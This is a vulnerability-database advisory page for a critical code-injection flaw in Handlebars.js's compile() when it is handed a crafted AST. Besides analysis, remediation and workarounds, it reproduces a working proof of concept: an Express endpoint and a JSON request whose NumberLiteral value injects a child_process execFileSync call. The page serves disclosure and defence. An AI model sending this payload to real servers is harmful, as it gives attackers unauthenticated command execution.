EUVD-2026-16848
GHSA-2w6w-674q-4c4q
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker supplies crafted AST object to Handlebars.compile()
-
ExploitNumberLiteral value field injected into generated JavaScript
-
ExecutionArbitrary code execution on server
-
ImpactFull system compromise
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Attacker must supply a crafted pre-parsed AST object directly to Handlebars.compile() function. Requires application to accept AST input from untrusted sources rather than template strings. No authentication required if application exposes AST compilation endpoint. |
| Impact | This represents a critical real-world risk based on convergent threat signals. The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N) indicates network-accessible exploitation with low complexity requiring no authentication or user interaction, achieving complete system compromise (C:H/I:H/A:H). A functional proof-of-concept demonstrating arbitrary command execution via Express.js endpoint is publicly documented, significantly lowering exploitation barriers. The attack is automatable against any endpoint accepting JSON-deserialized input to Handlebars.compile(), a pattern common in dynamic template rendering services, content management systems, and API gateways using Handlebars. While no CISA KEV listing or EPSS data is provided in the intelligence sources, the combination of critical CVSS score, public POC availability, and the ubiquity of Handlebars.js in Node.js ecosystems creates substantial exploitation likelihood. Organizations using Handlebars server-side with user-controlled template input face immediate risk and should prioritize remediation. |
| Exploit ScenarioDerived | An attacker sends a malicious HTTP POST request to a Node.js Express API endpoint that accepts JSON template definitions and renders them using Handlebars.compile(). The JSON payload contains a crafted AST structure with a NumberLiteral node whose value field contains JavaScript code breaking out of the number context and invoking process.getBuiltinModule('child_process').execFileSync() to execute arbitrary system commands. The proof-of-concept demonstrates this exact attack pattern, achieving immediate remote code execution with server privileges, enabling data exfiltration, lateral movement, or complete system compromise. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Mar 27, 2026
Remote code execution in Handlebars.js npm package allows unauthenticated attackers to execute arbitrary JavaScript on Node.js servers by injecting malicious payloads through crafted AST objects passed to Handlebars.compile(). The vulnerability (CWE-94 code injection) affects applications that accept user-controlled JSON and deserialize it as template input. A detailed proof-of-concept exploit demonstrates command execution via process.getBuiltinModule. Vendor patch is available in version 4.7.9 per GitHub advisory GHSA-2w6w-674q-4c4q. CVSS score 9.8 (Critical) reflects network-accessible attack requiring no privileges or user interaction.
RemediationAI
Upgrade Handlebars.js to version 4.7.9 or later, which contains the patch available at https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2. Review the vendor security advisory at https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q for additional guidance. Until patching is complete, implement strict input validation by verifying that all arguments to Handlebars.compile() are strings using typeof checks before compilation, rejecting any object or deserialized JSON inputs. For production environments where templates are pre-compiled at build time, migrate to the Handlebars runtime-only build (handlebars/runtime) which removes the compile() function entirely, eliminating the attack surface. Audit all API endpoints and template rendering code paths to identify locations where user-controlled data reaches Handlebars.compile().
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in npm, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Handlebars.js is a widely-deployed templating engine for Node.js and browser environments (CPE: pkg:npm/handlebars). The vulnerability stems from CWE-94 (Improper Control of Generation of Code) in the JavaScript code generator located in lib/handlebars/compiler/javascript-compiler.js. When Handlebars.compile() receives a pre-parsed Abstract Syntax Tree object instead of a template string, the compiler emits NumberLiteral AST node values directly into generated JavaScript without sanitization or quoting. This allows attackers to break out of the intended code context by embedding JavaScript expressions within the NumberLiteral value field, which is subsequently eval-ed during template compilation. The design flaw exists because the AST compilation path assumes trusted input and lacks the input validation applied to string templates.
Know when the next one hits your stack
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (https://github.com/handlebars-lang/handlebars.js).
CVSS VectorVendor: https://github.com/handlebars-lang/handlebars.js
Lifecycle Timeline
2DescriptionCVE.org
Summary
Handlebars.compile() accepts a pre-parsed AST object in addition to a template string. The value field of a NumberLiteral AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to compile() can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.
Description
Handlebars.compile() accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in lib/handlebars/compiler/javascript-compiler.js emits NumberLiteral values verbatim:
// Simplified representation of the vulnerable code path:
// NumberLiteral.value is appended to the generated code without escaping
compiledCode += numberLiteralNode.value;Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as {},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() // as the value of a NumberLiteral causes the generated eval-ed code to break out of its intended context and execute arbitrary commands.
Any endpoint that deserializes user-controlled JSON and passes the result directly to Handlebars.compile() is exploitable.
Proof of Concept
Server-side Express application that passes req.body.text to Handlebars.compile():
import express from "express";
import Handlebars from "handlebars";
const app = express();
app.use(express.json());
app.post("/api/render", (req, res) => {
let text = req.body.text;
let template = Handlebars.compile(text);
let result = template();
res.send(result);
});
app.listen(2123);POST /api/render HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:2123
{
"text": {
"type": "Program",
"body": [
{
"type": "MustacheStatement",
"path": {
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": ["lookup"],
"original": "lookup",
"loc": null
},
"params": [
{
"type": "PathExpression",
"data": false,
"depth": 0,
"parts": [],
"original": "this",
"loc": null
},
{
"type": "NumberLiteral",
"value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
"original": 1,
"loc": null
}
],
"escaped": true,
"strip": { "open": false, "close": false },
"loc": null
}
]
}
}The response body will contain the output of the id command executed on the server.
Workarounds
- Validate input type before calling
Handlebars.compile(): ensure the argument is always astring, never a plain object or JSON-deserialized value.
if (typeof templateInput !== 'string') {
throw new TypeError('Template must be a string');
}- Use the Handlebars runtime-only build (
handlebars/runtime) on the server if templates are pre-compiled at build time;compile()will be unavailable.
Blast Radius
ecosystem impact- 3 npm packages depend on handlebars (1 direct, 2 indirect)
Ecosystem-wide dependent count for version 4.0.0.
Executive ViewAI
A critical remote code execution vulnerability in Handlebars.js (CVE-2026-33937, CVSS 9.8) enables unauthenticated attackers to execute arbitrary commands on Node.js servers when applications deserialize user-supplied JSON as template input. Organizations using Handlebars for server-side template rendering face immediate risk of full application compromise and data theft without authentication barriers or user interaction.
Apply vendor patch. If immediate patching is not feasible: (1) Implement network-level access controls to restrict untrusted sources from reaching Node.js endpoints that process Handlebars templates; (2) disable or isolate Handlebars template compilation features that accept user input pending patch deployment; (3) deploy Web Application Firewall (WAF) rules to reject requests containing suspicious AST object structures in JSON payloads; (4) enforce strict Content Security Policy headers to limit JavaScript execution scope.
Threat Intelligence Overview
NVD
CVE.org
EPSS
Vulnrichment
VulDB
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Exploit-DB